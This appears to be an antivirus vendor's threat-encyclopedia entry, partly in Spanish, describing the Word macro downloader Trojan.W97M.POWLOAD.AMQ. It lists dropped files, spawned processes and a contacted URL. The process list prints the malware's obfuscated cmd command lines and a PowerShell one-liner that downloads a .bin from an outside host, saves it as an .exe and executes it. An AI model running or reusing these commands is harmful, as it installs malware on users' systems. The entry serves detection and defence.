Trojan.W97M.POWLOAD.AMQ

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• %User Temp%\{Random Characters}.ps1
• %User Temp%\{Random Characters}.psm1
• %Application Data%\Microsoft\Office\Recent\{Malware File Name}.doc.LNK

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Agrega los procesos siguientes:

• cmd /c %PRogrAmDaTa:~0,1%%ProgRAmData:~9,2% /v: /c "set CBku=5pr+Ls;t7Gui\ng,fz2S=@C.PdWbe:RcEw0)/B$1TUx l(NMyvFmj8Z3AI6~a{hoD9-}'4%kO& FOR %z In ( 1 63 33 70 24 41 37 4 57 22 29 59 0 15 39 70 2 70 19 32 19 19 57 72 46 46 56 47 32 29 59 66 69 15 39 70 62 70 40 32 47 24 29 59 66 55 15 39 70 44 44 43 38 17 18 18 8 20 68 13 39 69 69 68 6 38 62 69 34 58 20 13 28 33 66 63 27 52 28 31 7 43 46 28 7 23 26 28 27 22 44 11 28 13 7 6 38 2 18 53 34 20 68 62 7 7 1 29 36 36 16 2 28 28 23 25 11 28 14 63 60 44 28 42 23 31 63 51 36 55 18 53 65 16 71 52 5 25 16 48 10 55 23 27 11 13 68 23 19 1 44 11 7 45 68 21 68 35 6 38 52 18 53 65 20 68 11 69 69 65 68 6 38 4 8 69 18 43 20 43 68 0 69 8 68 6 38 17 55 18 18 20 68 63 55 55 34 68 6 38 52 65 55 34 20 38 28 13 49 29 1 10 27 44 11 31 3 68 12 68 3 38 4 8 69 18 3 68 23 28 42 28 68 6 16 63 2 28 60 31 62 45 38 17 65 18 0 43 11 13 43 38 2 18 53 34 35 61 7 2 48 61 38 62 69 34 58 23 64 63 33 13 44 63 60 25 50 11 44 28 45 38 17 65 18 0 15 43 38 52 65 55 34 35 6 38 33 53 8 18 20 68 56 18 53 55 68 6 57 16 43 45 45 9 28 7 66 57 7 28 51 43 38 52 65 55 34 35 23 44 28 13 14 7 62 43 66 14 28 43 53 34 34 34 34 35 43 61 57 13 49 63 71 28 66 57 7 28 51 43 38 52 65 55 34 6 38 54 65 65 69 20 68 22 0 55 8 68 6 27 2 28 60 71 6 67 67 31 60 7 31 62 61 67 67 38 30 58 8 58 20 68 33 39 0 18 68 6 81) DO SEt 2fvq=!2fvq!!CBku:~ %z, 1!&&if %z == 81 ecHo !2fvq:~ -408!| FOR /F "delims=TFSH tokens=1" %J IN ('ftype^^^|findstr mdFi')DO %J "
• CmD /v: /c "set CBku=5pr+Ls;t7Gui\ng,fz2S=@C.PdWbe:RcEw0)/B$1TUx l(NMyvFmj8Z3AI6~a{hoD9-}'4%kO& FOR %z In ( 1 63 33 70 24 41 37 4 57 22 29 59 0 15 39 70 2 70 19 32 19 19 57 72 46 46 56 47 32 29 59 66 69 15 39 70 62 70 40 32 47 24 29 59 66 55 15 39 70 44 44 43 38 17 18 18 8 20 68 13 39 69 69 68 6 38 62 69 34 58 20 13 28 33 66 63 27 52 28 31 7 43 46 28 7 23 26 28 27 22 44 11 28 13 7 6 38 2 18 53 34 20 68 62 7 7 1 29 36 36 16 2 28 28 23 25 11 28 14 63 60 44 28 42 23 31 63 51 36 55 18 53 65 16 71 52 5 25 16 48 10 55 23 27 11 13 68 23 19 1 44 11 7 45 68 21 68 35 6 38 52 18 53 65 20 68 11 69 69 65 68 6 38 4 8 69 18 43 20 43 68 0 69 8 68 6 38 17 55 18 18 20 68 63 55 55 34 68 6 38 52 65 55 34 20 38 28 13 49 29 1 10 27 44 11 31 3 68 12 68 3 38 4 8 69 18 3 68 23 28 42 28 68 6 16 63 2 28 60 31 62 45 38 17 65 18 0 43 11 13 43 38 2 18 53 34 35 61 7 2 48 61 38 62 69 34 58 23 64 63 33 13 44 63 60 25 50 11 44 28 45 38 17 65 18 0 15 43 38 52 65 55 34 35 6 38 33 53 8 18 20 68 56 18 53 55 68 6 57 16 43 45 45 9 28 7 66 57 7 28 51 43 38 52 65 55 34 35 23 44 28 13 14 7 62 43 66 14 28 43 53 34 34 34 34 35 43 61 57 13 49 63 71 28 66 57 7 28 51 43 38 52 65 55 34 6 38 54 65 65 69 20 68 22 0 55 8 68 6 27 2 28 60 71 6 67 67 31 60 7 31 62 61 67 67 38 30 58 8 58 20 68 33 39 0 18 68 6 81) DO SEt 2fvq=!2fvq!!CBku:~ %z, 1!&&if %z == 81 ecHo !2fvq:~ -408!| FOR /F "delims=TFSH tokens=1" %J IN ('ftype^^^|findstr mdFi')DO %J "
• %System%\cmd.exe /S /D /c" ecHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $z227='n144';$h406=new-object Net.WebClient;$r280='http://free.{BLOCKED}lex.com/3289fkjsdfyu3.bin'.Split('@');$j289='i449';$L742 = '547';$z322='o330';$j930=$env:public+'\'+$L742+'.exe';foreach($z925 in $r280){try{$h406.DownloadFile($z925, $j930);$w872='A283';If ((Get-Item $j930).length -ge 80000) {Invoke-Item $j930;$Z994='C537';break;}}catch{}}$R676='w152';"
• %System%\cmd.exe /S /D /c" FOR /F "delims=TFSH tokens=1" %J IN ('ftype^|findstr mdFi') DO %J "
• %System%\cmd.exe /c ftype|findstr mdFi
• %System%\cmd.exe /S /D /c" ftype"
• %System%\findstr.exe findstr mdFi
• powershell $z227='n144';$h406=new-object Net.WebClient;$r280='http://free.{BLOCKED}lex.com/3289fkjsdfyu3.bin'.Split('@');$j289='i449';$L742 = '547';$z322='o330';$j930=$env:public+'\'+$L742+'.exe';foreach($z925 in $r280){try{$h406.DownloadFile($z925, $j930);$w872='A283';If ((Get-Item $j930).length -ge 80000) {Invoke-Item $j930;$Z994='C537';break;}}catch{}}$R676='w152';

Otros detalles

It connects to the following possibly malicious URL:

• http://free.{BLOCKED}lex.com/3289fkjsdfyu3.bin